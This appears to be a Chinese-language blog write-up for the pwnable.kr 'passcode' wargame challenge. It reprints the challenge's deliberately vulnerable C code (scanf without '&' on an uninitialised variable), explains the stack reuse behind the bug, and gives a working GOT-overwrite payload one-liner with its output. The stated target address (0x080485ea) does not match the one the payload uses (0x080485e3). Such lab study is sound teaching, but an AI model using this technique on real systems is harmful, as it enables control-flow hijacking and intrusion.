pwnable.kr [Toddler's Bottle] - passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh [email protected] -p2222 (pw:guest)

說來慚愧,這題在剛接觸的時候因爲對 Linux 編程的不瞭解,試了很多辦法都沒有頭緒,所以拖到了現在。
其實原理很簡單,就是簡單的 GOT 溢出攻擊。
關於 GOT 相關可以移步筆者另一篇轉載的文章,有關於 PLT , GOT 的簡單介紹:
http://blog.csdn.net/qq_19550513/article/details/66535524

這裏先放上題目源碼:

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

可以看到在 login 函數中調用的 scanf("%d", passcode1); 在 passcode1 前沒有加取地址符號 &,而由於 passcode 1沒有初始化,導致這個輸入操作會將數據寫入 棧中 passcode1 未被初始化時存放的數據指向的地址。在實際執行到這裏時如果對 passcode1 輸入了正確格式的十進制整數,便會報錯。

用 gdb 調試,分別在 welcome 和 login 函數處下斷。
在 welcome 函數調用 scanf 處先輸入 100 個 ‘a’ 方便觀察棧中情況,如下:
這裏寫圖片描述

continue , 執行到 passcode1 的 scanf 前中斷,查看此時棧中情況:
這裏寫圖片描述

可以看到,welcome 函數中輸入的最後 4 字節佔據了此時局部變量 passcode1 在棧中的位置。所以在執行 scanf("%d", passcode1); 時會像這裏指向的不存在的 0x61616161 處寫內容,故而報錯。

造成這個問題的原因有兩點:

  • 在 welcome 函數返回後這裏進行了堆棧平衡,然而沒有清空棧中的內容,login 函數和 welcome 函數又相當於是共享了同一個棧區域;
  • passcode1 沒有初始化,導致passcode1 在棧中單元裏存放的仍是之前棧幀遺留下來的內容。

我們可以利用被湮沒的這 4 個字節,利用 scanf 函數去到指定的位置寫內容。這題的目的是繞過對 passcode 的驗證,這裏可以覆寫 GOT 來控制程序流程。

即原理是,welcome 中 scanf 函數被調用 –> 輸入構造好的字符串,其中最後 4 字節爲要覆寫的保存有目標函數指令地址的內存單元在 GOT 中的地址 –> login 中的 scanf函數被調用 –> 覆寫該位置,即目標函數指令地址被改寫,執行該函數時會去到改寫後的位置執行。

通過 gdb 查看 login 中之後調用的函數位置(這裏無非是 fflush , printf , 和 exit),任選其一即可,這裏筆者選擇的是printf。

接下來查找 system 調用指令的位置和和 printf 在 GOT 中的地址(因爲編譯環境可能和服務器不同,爲了準確性,到 ssh 登入去找相關位置)

直接 passcode@ubuntu:~$ objdump -d passcode

找到相關地址如下:
這裏寫圖片描述

這裏寫圖片描述

即控制流程指向的 call system 位於 0x080485ea,printf 在 GOT 中地址爲 0x0804a000 ,
構造如下輸入後得到 falg:

passcode@ubuntu:~$ python -c 'print "a"*96 + "\x00\xa0\x04\x08" + "134514147\n"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章